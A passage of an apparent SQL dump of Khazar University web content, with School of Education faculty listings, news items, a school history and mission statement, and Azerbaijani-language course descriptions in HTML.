href=\"http://www.khazar.org/files/pdf/Ulkar_Bayramova_CV_.pdf\"><img src=\"/files/letters/ulkar_b.jpg\" style=\"border:0px  #000000;width:150px;height:187px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></a><p><a href=\"http://www.khazar.org/files/pdf/Ulkar_Bayramova_CV_.pdf\" style=\"font-weight:bold\">Ulkar Bayramova</a><strong>&nbsp;-&nbsp;</strong><strong>Lecturer</strong></p><p><strong></strong><strong></strong>PhD in&nbsp;Pedagogy&nbsp;(Azerbaijan National Academy of Sciences)</p><p>MA in Pedagogy&nbsp;(Lankaran State University, Azerbaijan)</p><p><strong>E-mail:</strong> <a href=\"http://mailto:ubayramova@khazar.org\">ubayramova[at]khazar.org</a></p><p><br></p><p><br></p>  \r\n<hr>\r\n<p><img src=\"http://www.khazar.org/files/edu_depart/%D0%9A%D0%BE%D0%BF%D0%B8%D1%8F%20foto%2001.jpg\" style=\"width:150px;height:200px;margin:7px;float:left\"><a href=\"http://www.khazar.org/files/edu_depart/CV-eng_last.PDF\" style=\"font-weight:bold\">Rukhsara Guliyeva</a><strong>&nbsp;-&nbsp;</strong><strong>Lecturer</strong></p><p>PhD in&nbsp;History&nbsp;(Azerbaijan National Academy of Sciences)</p><p>MA in History&nbsp;(Baku State University, Azerbaijan)</p><p><strong></strong><strong>E-mail:&nbsp;</strong><a href=\"mailto:ruxsaraguliyeva@gmail.com/\">ruxsaraguliyeva[at]gmail.com</a>  <a href=\"http://mailto: ruxsaraguliyeva@gmail.com\"></a><a title=\"ruxsaraguliyeva@gmail.com\" target=\"_self\" tabindex=\"0\" label=\"Email ruxsaraguliyeva@gmail.com\"></a></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"http://www.khazar.org/files/edu_depart/konul.jpg\" style=\"width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/pdf/Konul_Mahyaddinova_CV.pdf\">Konul Mahyaddinova</a></strong>&nbsp;-&nbsp;<strong>Lecturer</strong></p><p><strong></strong>PhD in&nbsp;Pedagogy&nbsp;(Azerbaijan National Academy of Sciences)</p><p>MA&nbsp;in&nbsp;Pedagogy&nbsp;(Baku Slavian University, Azerbaijan)</p><p><strong>E-mail</strong><strong>:</strong>&nbsp;<a href=\"mailto:konul.mahyaddinova09@gmail.com\">konul.mahyaddinova09[at]gmail.com</a></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/education/CV/kamala_aliyeva_CV.pdf\"><img src=\"/files/education/images/kamala_aliyeva.jpg\" style=\"width:150px;height:149px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Kamala Aliyeva</a></strong></p><p>PhD candidate&nbsp;in&nbsp;Autism and Learning Process&nbsp;(Khazar University, Azerbaijan)    </p><p>MS in&nbsp;Developmental Psychology (Child\r\npsychology) (Baku State University, Azerbaijan)<br></p><p><strong>E-mail</strong><strong>:</strong>  <a href=\"mailto:k.aliyevaugur@gmail.com\">k.aliyevaugur[at]gmail.com</a></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/edu_depart/sevda_i.jpg\" style=\"float:left;width:150px;height:163px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><p><strong></strong><a href=\"http://www.khazar.org/files/pdf/Sevda_Ismayilova_CV.pdf\" style=\"font-weight:bold\">Sevda Ismayilova</a><strong>&nbsp;-&nbsp;</strong><strong>Lecturer</strong></p><p>MA in&nbsp;English Teaching&nbsp;(Azerbaijan  University of Languages)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:iseva@yahoo.com\">iseva[at]yahoo.com</a>  <a href=\"http://mailto:iseva@yahoo.com/\"></a>  </p><p><br></p><p><br></p>'),(4188,2452,'en','Next AESOP Erasmus+ project report meeting took place at Khazar University','The next meeting of the AESOP project within the framework of Erasmus+ program of the European Commission was held at Khazar...','<p>The next meeting of the AESOP project within the framework of Erasmus+ program of the European Commission was held at Khazar University. As a result of the project, it is expected to open an ombudsman office that will protect students\' rights in the higher education institutions that have been joined the program.</p><p>The news can be read through these links:</p><p style=\"background:undefined \"><a href=\"https://news.milli.az/society/584902.html\">https://news.milli.az/society/584902.html</a></p><p><a href=\"http://sia.az/az/news/education/637925.html\">http://sia.az/az/news/education/637925.html</a></p><p><a href=\"https://azertag.az/xeber/Gence_Dovlet_Universitetinde_ombudsman_ofisinin_achilmasi_gozlenilir-1097315\">https://azertag.az/xeber/Gence_Dovlet_Universitetinde_ombudsman_ofisinin_achilmasi_</a></p><p><a href=\"https://azertag.az/xeber/Gence_Dovlet_Universitetinde_ombudsman_ofisinin_achilmasi_gozlenilir-1097315\">gozlenilir-1097315</a>.</p>'),(4187,2450,'en','Hamlet Isakhanlı spoke about the attitude to Azerbaijani language','The next interviewee of the project “Transformation of Turkish language into the dominant language in the region...','<p>The next interviewee of the project “Transformation of Turkish language into the dominant language in the region” of <strong><em>musavat.com</em></strong> and <strong><em>xeber365.com</em></strong> websites was Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees.</p><p>The article entitled “You cannot see two Georgians speak Russian, while Azerbaijanis...&nbsp;–   Hamlet Isakhanli” is available on the following link:&nbsp;</p><p><a href=\"http://xeber365.com/haber-iki-gurcunu-rusca-danisan-gorm-zsiniz-az-rbaycanlilar-is-...-hamlet-isaxanli-14362.html\">http://xeber365.com/haber-iki-gurcunu-rusca-danisan-gorm-zsiniz-az-rbaycanlilar-is-...-hamlet-isaxanli-14362.html</a>.</p>'),(4572,2710,'az','“Təbii resursla zəngin ölkələrdə gəlirlərin idarə edilməsi” kursu başa çatdı','2017-ci il dekabrın 7-də Xəzər Universiteti Avrasiya Bilik Mərkəzinin 10 gün ərzində keçirdiyi “Təbii resursla zəngin ölkələrdə gəlirlərin idarə edilməsi...','<p>2017-ci il dekabrın 7-də Xəzər Universiteti Avrasiya Bilik Mərkəzinin 10 gün ərzində keçirdiyi “Təbii resursla zəngin ölkələrdə gəlirlərin idarə edilməsi” kursu başa çatdı. Tədbirin sonuncu günü 6 ölkədən olan 22 iştirakçı növbəti mərhələdə hazırlayacaqları siyasət sənədləri ilə bağlı müvafiq təlimatlar aldılar.</p><p>Sonda Xəzər Universitetinin prorektoru professor Məhəmməd Nuriyev və İsveçrə hökumətinin SECO təşkilatının regional rəhbərinin müavini&nbsp;Simone Haeberli iştirakçılara sertifikat təqdim etdilər.</p><p>İştirakçılar kursun olduqca faydalı olmasını qeyd edərək, Xəzər Universitetinə yaratdığı şərait üçün təşəkkürlərini bildirdilər.</p>'),(883,583,'az','Tarixi','Tarixi','<p style=\"\" margin-top:15.0pt;margin-right:0cm;margin-bottom:7.5pt;margin-left:0cm;line-height:normal;background:white\"\"=\"\"><strong>TARİX</strong></p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">Təhsil\r\nsahəsində tədqiqat fəaliyyətləri Xəzər Universitetinin başlanğıcından etibarən\r\nvə sonrakı strateji inkişaf prosesində başlıca yer tutmuşdur. Bu məqsədlə\r\n1992-ci ildə Xəzər Universiteti Kaliforniya və Los-Angeles Universitetləri ilə Universitet\r\nMenecmenti sahəsində əməkdaşlığa başlamışdır. Bu əməkdaşlıq proqramı\r\nçərçivəsində Xəzər Universitetində “Təhsil və Bilik Çalışmaları Mərkəzi”\r\nqurulmuşdur. Sonra Avropa Komissiyasının dəstəyi ilə təhsillə əlaqədar bir\r\nbaşqa mərkəz olan – Akademik Keyfiyyətin Təminatı Mərkəzi - qurulmuşdur. </p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">Bundan başqa,\r\nXəzər Universitetinin Təhsil fakultəsinin əməkdaşları Azərbaycanın\r\nbölgələrində, eləcə də məcburi köçkünlərin yaşadığı çadır şəhərciklərində\r\nmüəllimlərin təlimində rol almışlardır. Anoloji olaraq İqtisadiyyat, Biznes\r\nTədqiqatları və Təhsil Mərkəzi qurulmuşdur. Bu mərkəz Bakıda və Azərbaycanın\r\nbölgələrində mütəmadi olaraq məktəb müəllimlərinə, təşəbbüskarlara fərqli\r\nsahələrdə təlimlər təşkil edir. </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2003-cü ildə İbtidai Sinif Müəllimliyi bakalavr\r\nixtisası təklif olunmuşdur. Gənc nəsilləri yetişdirməyin əhəmiyyəti bu\r\nixtisasın quruluşu ilə Universitet tərəfindən daha da qabağa çəkilmişdir. &nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2009-cu ildən etibarən isə Təhsil Fakultəsi Azərbaycan\r\nDili və Ədəbiyyatı Müəllimliyi, Riyaziyyat və İnformatika Müəllimliyi, Kimya və\r\nBiologiya Müəllimliyi, Tarix və Coğrafiya Müəllimliyi bakalavr ixtisasları\r\nfəaliyyətə başlamışdır. Bu bakalavr proqramları departament daxilində\r\nbiri-birindən bəhrələnən proqramlardır və Riyaziyyat, İnformatika, Kimya,\r\nBiologiya, Tarix, və Coğrafiya departamentləri ilə birgə fəaliyyət göstərməkdədirlər.&nbsp;</p>'),(884,583,'en','History','History','<p>Research activity in Education was a vital idea from the very beginning of Khazar University and throughout the process of the University’s establishment and its further strategic development. For this purpose, in 1992, Khazar University started a partnership program with the University of California, Los-Angeles in the field of University Management. Within the framework of this partnership program Center for Education and Information studies was established at Khazar University. Later on, another center related with Education – Center for Academic Quality Assurance – was created with the support of the European Commission.</p><p>Moreover, Khazar University faculty members were involved in teacher training programs in regions of Azerbaijan, including refugee camps. Analogically, the Center for Economic and Business Research and Education was established. This Center primarily conducts trainings in various fields of Economics and Business for secondary school teachers and entrepreneurs in Baku and regions of Azerbaijan.</p><p>In 2003, an undergraduate degree program in Elementary Education was first offered. The importance of nourishing the younger generation of teachers has been prioritized by the University since its foundation.</p><p>Also, since 2009 The School of Education has started offering new bachelor degree programs, such as, Azerbaijani Literature and Language Education, Mathematics and Computer Education, Chemistry and Biology Education, History and Geography Education. All these programs are interdepartmental programs offered jointly by the Departments of Mathematics, Computer, Chemistry, Biology, History and Geography.</p>'),(885,584,'az','Missiyası','Missiyası','<div><br></div><div><p>Missiyamız müasir təhsil elminin tələblərinə cavab verə bilən, milli və mənəvi dəyərləri daşımaqla yanaşı, dünyəvi düşünə bilən, tənqidi və yaradıcı təfəkkürə sahib intellektual və peşəkar müəllimlər yetişdirməkdir. </p> <br></div>'),(886,584,'en','Mission Statement','Mission Statement','<p>Our mission is to be able to meet the demands of modern education, to pass on national and cultural values​​, and to train intellectual and professional teachers who are able to think globally, using critical and creative thinking. </p>'),(887,585,'az','Fənlərin Təsviri','Fənlərin Təsviri','<div><br></div><div><p><strong><em>AZLL 102.&nbsp; Yazıya giriş (6 kredit)</em></strong></p>\r\n<p><strong>Prerekvizit:\r\nAZLL 101.</strong></p>\r\n<p>Yazı\r\nqaydası. Materialların yazılması, yenidən baxılması, redaktə olunmasının\r\nplanlaşdırılması və təşkili.&nbsp; Mətnlərin xülasəsi, təhlili və sintezi. Esse\r\nvə yaradıcı yazı. Akademik və işgüzar yazışma.&nbsp; Nəsr üsulu.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>AZLL 104: Azərbaycan dili-2 (6 kredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\nAZLL 101</strong></p>\r\n<p>Bu kurs\r\nAzərbaycan dilində aşağıdakı sahələri əhatə edir. Semantik quruluş, onun\r\nmənasının daralması və genişlənməsi, Azərbaycan dilində semantik qruplar.\r\nQrammatika, onun əsas bölmələri və onlar arasında əlaqə, qrammatik\r\nkateqoriyalar. Sintaksis, söz birləşməsi və cümlə növləri,&nbsp; mətn dilçiliyi\r\nvə onun problemləri, şeir sintaksisi, durğu işarələri və onların funksiyaları.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>AZLL 106: Müasir Azərbaycan dili 1 (6\r\nkredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\nYoxdur</strong></p>\r\n<p>Bu kurs\r\nsəs sistemi, fonetik fenomen və Azərbaycan ədəbi dilinin qaydalarını əhatə\r\nedir. Tələffüz normaları, yazının formalaşması və növü, əlifbanın\r\nxüsusiyyətləri, lüğət strukturu və onun zənginliyi, xüsusiyyətləri və inkişaf\r\nyolları izah olunur. Azərbaycan dilinin orfoqrafiyası &nbsp;barədə məlumat\r\nverilir. Sözlərin xarakterik mənası, xüsusi adların növləri, mənşəyi və\r\nAzərbaycan ədəbi dilində istifadəsi işıqlandırılır. Həmçinin lüğət və onun\r\nmüxtəlif növləri, lüğət tərtibi və ədəbi dildə sözdüzəltmə yolları haqqında da məlumat\r\nverilir.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>AZLL 205: Azərbaycan ədəbiyyatı-2 (6\r\nkredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\nAZLL 105</strong></p>\r\n<p>Bu\r\nfənnin məqsədi Müasir Azərbaycan ədəbiyyatı üzrə geniş bilik verməkdir. Bu fənn\r\nson dövrlər Azərbaycan ədəbiyyatını, jurnalistika janrlarının inkişafını,\r\nədəbiyyatda yeni forma və məzmunu araşdırır. Bu fənnin tədrisinə həmçinin\r\nmüasir ədəbi əsərlərin oxudulması və təhlili daxildir.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>AZLL 206: Müasir Azərbaycan dili 3 -\r\nSintaksis (6 kredit)</em></strong><em></em></p>\r\n<p><strong>Prerekvizit:\r\nAZLL 108</strong></p>\r\n<p>Bu\r\nfənndə söz birləşmələri, sintaktik əlaqələr, cümlələr və onların struktur\r\nnövləri, durğu işarələri və onların düzgün istifadəsi tədris edilir.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>&nbsp;ART\r\n231: Rəsmxətt və onun tədrisi metodikası (6 kredit)</em></strong><strong><em></em></strong></p>\r\n<p><strong>Prerekvizit: yoxdur</strong></p>\r\n<p>Təsviri sənət\r\nfənninin məqsədi estetik dünyagörüşlü, zəngin mənəviyyata, bədii zövqə və yara­dıcı\r\ntəxəyyülə malik, milli və ümumbəşəri dəyərlərə hörmətlə yanaşan, incəsənət əsərlərini\r\nduyub qiymətləndirən, obrazlı və simvolik düşüncə tərzinə malik şəxsiyyət\r\nformalaşdırmaqdan ibarətdir.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>CMS\r\n435 </em></strong><strong><em>İnformatikanın tədrisi metodikası (6 kredit)</em></strong><em></em><em></em></p>\r\n<p><strong>Prerekvizit: CMS 101</strong><strong></strong></p>\r\n<p>İnformatika sürətlə inkişaf edən və daim yenilənən\r\nbir sahə olduğundan, onun tədrisində məqsəd elmi informasiyanın bolluğundan\r\ndaha çox, daxili-mənəvi mədəniyyətin və əxlaqi-insani kamilliyin səviyyəsini\r\nyüksəltmək olmalıdır. Fənnin tədrisində məqsəd həm də tələbəyə hazır mühakimə əzbərlətmək\r\nyox, mühakimə yürütməyi öyrətməkdir. Bu kursun əsas məqsədi müasir dövrdə\r\naktual olan əməliyyat sistemlərini, ofis proqramlarını, müxtəlif səpgili tətbiqi\r\nvə xidməti proqramlardan istifadə bacarığı, İKT avadanlıqlarının təyinatını,\r\nkompüterun ibarət oldugu elektron qurğuların tanıdılması, internetlə iş\r\nbacarığını tələbələrdə aşlamaqdır.&nbsp; </p>\r\n<p>&nbsp;</p>\r\n<p><em>&nbsp;</em></p>\r\n<p><strong><em>EDU 495 Təlim\r\nmetodları (6 kredit)</em></strong></p>\r\n<p><strong>Prerekvizit: EDU 101 </strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:10.0pt;margin-left:.5in;line-height:115%\"\"=\"\">Fənnin\r\nməqsədi həm nəzəri,&nbsp; həm də praktik\r\nbaxımdan peşəkar&nbsp; müəllimlərin\r\nhazırlanmasını təmin etmək; təhsilə müasir yanaşmaların və yeni fənn\r\nkurikulumlarının&nbsp; uğurlu tətbiqinə nail\r\nolmaq; ümumi təhsilin keyfiyyətini yüksəltmək üçün&nbsp; lider, yaradıcı, tədqiqatçı pedaqoji kadrlar\r\nhazırlamaq</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>EDU 101 Təhsilə giriş (6 kredit)</em></strong></p>\r\n<p><strong>Prerekvizit: yoxdur </strong></p>\r\n<p><strong>“Təhsilə giriş” kursu təhsilin fəlsəfi əsaslarını və\r\ntəhsilin əsas nəzəri və təcrübi problemlərini anlamaq üçün tələbələrə zəmin\r\nyaradır.</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>PSYCH 304 Təhsil\r\npsixologiyasının əsasları (6 kredit)</em></strong></p>\r\n<p><strong>Prerekvizit: EDU 101 </strong></p>\r\n<p><strong>Tələbələr təhsilin psixoloji əsasları haqqında\r\nilkin anlayışlar qazanmalı,&nbsp;&nbsp; </strong><strong>öyrənmə haqqında olan nəzəriyyələri və bu nəzəriyyələr arasındakı oxşarlıq\r\nvə&nbsp;&nbsp;&nbsp; fərqlilikləri&nbsp;&nbsp; görə bilməli&nbsp;\r\nvə&nbsp; hər&nbsp; bir nəzəriyyəyə görə&nbsp;&nbsp; öyrənmə&nbsp;\r\nprosesisinin&nbsp; necə olduğunu, bu\r\nprosesə&nbsp; təsir edən faktorları&nbsp; və pedaqoji fəaliyyət&nbsp; və müəllim şəxsiyyətininin xüsusiyyətlərini&nbsp; izah edə bilməlidirlər.</strong></p>\r\n<p><strong><em>&nbsp;</em></strong></p>\r\n<p><strong><em>&nbsp;</em></strong></p>\r\n<p><strong><em>PSYC101\r\nPsixologiyaya giriş:&nbsp; Uşaq inkişafı (6\r\nkredit)</em></strong></p>\r\n<p><strong>Prerekvizit: EDU 101 </strong></p>\r\n<p>Uşaq psixologiyası: uşağın inkişafına və davranışlarına, doğumdan\r\nyeniyetməliyə qədər olan mərhələni öyrənən psixologiya sahəsidir. Uşaq\r\npsixologiyası sadəcə uşağın fiziki inkişafını deyil, social-emosional, koqnitiv\r\ninkişafını öyrənməkdədir. Uşaq inkişafı sadəcə daxili səbəblərdən (genetic,\r\nfərdi xüsusiyyətlər və s) deyil bir çox xarici amillərdən də (mədəni, social\r\nmünasibətlər və s) təsirlənməkdədir.Uşaq psixologiyası bu səbəblə uşağın\r\ninkişafını fərqli aspektlərdən nəzərdən keçirir (fiziki, emosional, hərəki,\r\ndüşüncə, cinsi, əxlaqi və s) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Uşaq\r\npsixoloqları uşağın içində olduğu vəziyyəti (hər mənada) nəzərə alaraq, uşağın\r\nyararlana biləcəyi formada ailə münasibətlərini tənzimləmə, qulluğunun təmin olunması,təhsil\r\ndəstəyinin təmin olunması kimi uşağın inkişafını daha sağlam vəziyyətə\r\ngətirilməsini və lazım olduğu hallarda (sosial-emosional və davranış\r\nproblemləri) terapiyalar verilməsini hədəfləyir.&nbsp; </p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>MATH 412</em></strong><strong><em></em></strong><strong><em>Riyaziyyatın tədrisi metodikası (6 kredit) </em></strong></p>\r\n<p><strong>Prerekvizit: MATH 223, MATH 224 </strong></p>\r\n<p>Riyaziyyatın\r\ntədrisi metodikası kursunda riyaziyyat fənninin məktəbdə tədrisi nəzəriyyəsinin\r\nvə metodikasının ümumi və xüsusi məsələləri öyrənilir.</p>\r\n<p>Riyaziyyatın tədrisi metodikasının predmeti riyaziyyatın təlimi prosesidir.\r\nO, bütün tədris mərhələlərində riyaziyyatın təlimi qanunauyğunluqlarını\r\nöyrənir. </p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>EDU 437 Biologiyanın tədrisi metodikası (6 kredit)</em></strong></p>\r\n<p><strong><em>&nbsp;</em></strong></p>\r\n<p><strong>Prerekvizit: EDU 101</strong></p>\r\n<p>Biologiyanın tədrisi metodikası pedaqogikanın müasir bir sahəsi kimi\r\nformalaşmışdır və təlim və tədrisin,&nbsp; məktəb\r\nbiologiyasının spesifikası ilə müəyyənləşən məzmun, forma və vasitələrinin nəzəri\r\nvə praktiki məsələlərinin işlənib hazırlanması ilə məşğuldur. Biologiyanın tədrisi\r\nmetodikasınn öyrənilməsi tam orta məktəblərdə çalışmaq üçün biologiya müəlliminin,\r\nmüasir istiqamətlər və yanaşmalar nəzərə alınmaqla,&nbsp; hərtərəfli hazırlanması üçün zəruridir.\r\nMetodiki hazırlığın bütün mərhələlərində tələbələrin diqqəti biologiya müəlliminin\r\nşəxsi və peşə keyfiyyətlərinə olan tələblərin səviyyəsinin yüksəldilməsinə yönəldilir.<strong></strong></p>\r\n<p><strong><em>&nbsp;</em></strong></p>\r\n<p><strong><em>&nbsp;</em></strong></p>\r\n<p><strong><em>EDU 437 Tarixin Tədrisi\r\nMetodikası (6 kredit)</em></strong></p>\r\n<p><strong>Prerekvizit: EDU 101</strong></p>\r\n<p>Tarixin tədrisi metodikası şagirdlərə cəmiyyətin inkişafı, xalqların tarixi\r\nhaqqında bol-bol informasiya verməkdən daha çox onları həmin informasiyalardan\r\nbaş açmaq, zehni və əməli fəaliyyətlərini məntiqi-elmi əsaslarla təşkil etmək,\r\ncəmiyyətdə öz yerini tutmaq bacarıqlarını aşılamağa xidmət edir.<strong></strong></p>\r\n<p><strong><em>&nbsp;</em></strong></p>\r\n<p><strong><em>EDU 409 Azərbaycan\r\ndilinin tədris metodikası (6 kredit) </em></strong></p>\r\n<p><strong>Prerekvizit: EDU 101</strong></p>\r\n<p>Kursda fənn\r\nmüəllimlərinə ana dilinin tədrisinin məqsəd və vəzifələri, Azərbaycan dili təliminin\r\nməzmunu və nəzərdə tutulan təlim nəticələrinin mahiyyəti, təlim məqsədlərinin təyini,\r\nqazandırılacaq&nbsp; yüksək idraki\r\nbacarıqların formalaşdırırlması&nbsp;\r\nmetodları üzərində durulacaqdır. Ana dilinin təlim strategiyaları,\r\nkonstruktiv&nbsp; təlim nəzəriyyəsinə əsasən təliminin\r\ntəşkilinə verilən tələblər, təliminin təşkilində istifadə olunan forma, üsul və\r\ntexniklardan və fəaliyyətin planlaşdırılmasından bəhs olunacaq, şagird nailiyyətlərinin\r\nqiymətləndirilməsi növlərindən və qiymətləndirmə vasitələrinin hazırlanması\r\nüsulları, səmərəli müəllim- şagird ünsiyyəti və öyrənmə mühiti haqqında tövsiyyələr\r\nveriləcəktir.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>EDU 456 Təhsil\r\nhüququ və qanunvericiliyi (6 kredit)</em></strong></p>\r\n<p><strong>Prerekvizit: yoxdur </strong></p>\r\n<p><strong>Tələbələr təhsil hüququ və qanunvericiliyi üzrə ətraflı\r\nvə mükəmməl bilgilər əldə edəcəklər.</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>EDU 350 Sağlamlıq\r\nvə fiziki tərbiyyə (6 kredit)</em></strong></p>\r\n<p><strong>Prerekvizit: yoxdur </strong></p>\r\n<p>Bu kurs\r\nibtidai məktəb müəllimləri üçün nəzərdə tutulmuşdur. Bu fənn çərçivəsində\r\nsağlamlığın əsasları, sağlamlığın möhkəmləndirilməsi yolları və bununla əlaqədar\r\nfiziki fəaliyyətin əhəmiyyəti öyrənilir.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>EDU 444 Kimyanın tədrisi\r\nmetodikası (6 kredit)</em></strong></p>\r\n<p><strong>Prerekvizit: EDU 101</strong></p>\r\n<p>Kimyanın tədris\r\nmetodikası kursu ilə tələbələrə ümumi və tam orta təhsil səviyyəsində (VII-XI\r\nsiniflər)<strong></strong>kimya fənninin <strong>&nbsp;</strong>təlim\r\nmetodlarının inkişaf etdirilməsi yolu ilə yeni anlayış və mahiyyətlərin, daha\r\nsistemli və tətbiqyönümlü praktik vərdişlərin və bacarıqların aşılanması təmin\r\nolunur. Kimya fənni üzrə təlimin\r\ntəşkilinə verilən tələblər, təlimin təşkili formaları və üsulları barədə tövsiyələr,\r\nfənn üzrə təlimin planlaşdırılmasına dair nümunələr&nbsp; tədris edilir.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>SPH 202 Nitq mədəniyyətinin\r\nəsasları ( 6 kredit)</em></strong></p>\r\n<p><strong>Prerekvizit: yoxdur </strong></p>\r\n<p>“Nitq mədəniyyətinin əsasları” fənninin bütün humanitar fakultələrə, xüsusən\r\nmüəllim ixtisası alanlara tədrisi vacibdir.Kursun məqsədi – natiqlik məharəti,\r\nbunun üçün lazım olan keyfiyyətləri aşılamaqla yanaşı, tələbələrdə öz fikirlərinin\r\ndüzgün, aydın, məntiqli, yığcam şəkildə ifadə edə bilmək vərdişi yaratmaqdır.Bu\r\nkurs nəzəri biliklə yanaşı praktiki məşğələlərdən ibarətdir. Danışıq texnikası,\r\norfoepiya, intonasiya, mimika və jest, analitik və bədii verilişlərdə oxu tərzi\r\nkimi anlayışları ayrı-ayrılıqda öyrətmək, nitq mədəniyyətinin praktik cəhətdən\r\nmənimsənilməsini və fakultənin proqram tələblərini təmin etmək məşğələlərin əsas\r\nməqsədidir.Tədris prosesində nitq mədəniyyətinə yiyələnməyin daha səmərəli\r\nüsulları şərh olunacaq.<strong></strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>EDU 438\r\nCografiyanın tədris metodikası</em></strong><strong><em></em></strong><strong><em>&nbsp;(6 kredit)</em></strong></p>\r\n<p><strong>Prerekvizit: EDU 101</strong></p>\r\n<p>Məktəb coğrafiyasının metodikasını, ənənəvi\r\ncoğrafiya ilə müasir coğrafiyanın tədrisinin fərqli xüsusiyyətlərini, məzmun standartlarının funksiyaları və əhəmiyyətini\r\nşərh edəcək,coğrafiyanın tədrisi zamanı fəal təlim üsul və\r\nformalarından məqsədəuyğun istifadə, tədris zamanı məqəsəduyğun resurslardan\r\nistifadə, yeni qiymətləndirmə vasitələrinin hazırlanmasınımənimsəyəcəklər.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>MGT Təşkilatı davranış (6 kredit)</em></strong></p>\r\n<p><strong>Prerekvizit: yoxdur </strong></p>\r\n<p>\"Təşkilatlarda davranış” fənninin tədrisinin əsas məqsədi, ali məktəblərin\r\npedoqoji fakültə və ixtisaslarında təhsil alan tələbələrə, təşkilati davranış\r\nhaqqında məlumatların verilməsi\r\nvə praktiki nümunələrlə yaşayaraq öyrənməyi təmin etməkdir. Bundan əlavə,\r\nkursun digər məqsədi, təşkilatların uğuru üçün hansı davranışların hansı şərtlərdə\r\ntəsirli ola biləcəyini, fərdi və qrup davranışları və bunların səbəblərini,\r\nmotivasiya və stres kimi şərtlər altında insan davranışlarının necə istiqamətləndirilə\r\nbiləcəyini araşdırmaqdır.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>EDU </em></strong><strong><em>408\r\nTəhsilin İdarəedilməsi (6 kredit)</em></strong></p>\r\n<p><strong>Prerekvizit: EDU 101</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:150%\"\"=\"\"><em>Tələbələr məktəb\r\nidarəçiləri üçün nəzərdə tutulan başlıca idarəetmə nəzəriyyələri, idarəçiliyin\r\ntəsiri, məktəb liderliyi və eyni zamanda müasir məktəb idarəçiliyindəki əsas\r\nprinsip və təcrübələr barədə öyrənəcəklər. </em>İştirakçılar təşkilati yenidənqurma, məktəb\r\nidarəçiliyi proseslərinə tətbiq edilə biləcək klassik və müasir idarəçilik\r\nnəzəriyyələri ilə tanış ola biləcək və onları məktəb idarəçilyində tətbiq etmək\r\nüçün bacarıqlara sahib olacaqlar.<em>Nəticədə, tələbələr təhsildə\r\nidarəetmə məsələləri, onlaramüasir yanaşmalar vəonların bugünkü məktəblərə\r\ntətbiqi barədə bilik və bacarıqlarla təchiz olunacaqlar.</em></p>\r\n<p><strong><em>&nbsp;</em></strong></p>\r\n<p><strong><em>LIT\r\n201:&nbsp; Dünya Uşaq ədəbiyyatı (6 kredit)</em></strong><em></em></p>\r\n<p><strong>&nbsp;Prerekvizit: AZLL 105</strong></p>\r\n<p>Kursda Dünya Uşaq ədəbiyyatının görkəmli\r\nyaradıcıları, onların əsərləri barədə məlumat verilir, təhlillər aparılır, uşaq\r\nədəbiyyatının tədrisi üçün&nbsp;bilik və bacarıqlarla təmin edir.</p>\r\n<p><strong><em>&nbsp;</em></strong></p>  <br></div>'),(888,585,'en','Course Description','Course Description','<div><br></div><div><p><strong>ART 231: Painting (6 credits)</strong></p><p><strong>Prerequisite: NONE</strong></p><p>Basic fundamentals of painting. Color and basic 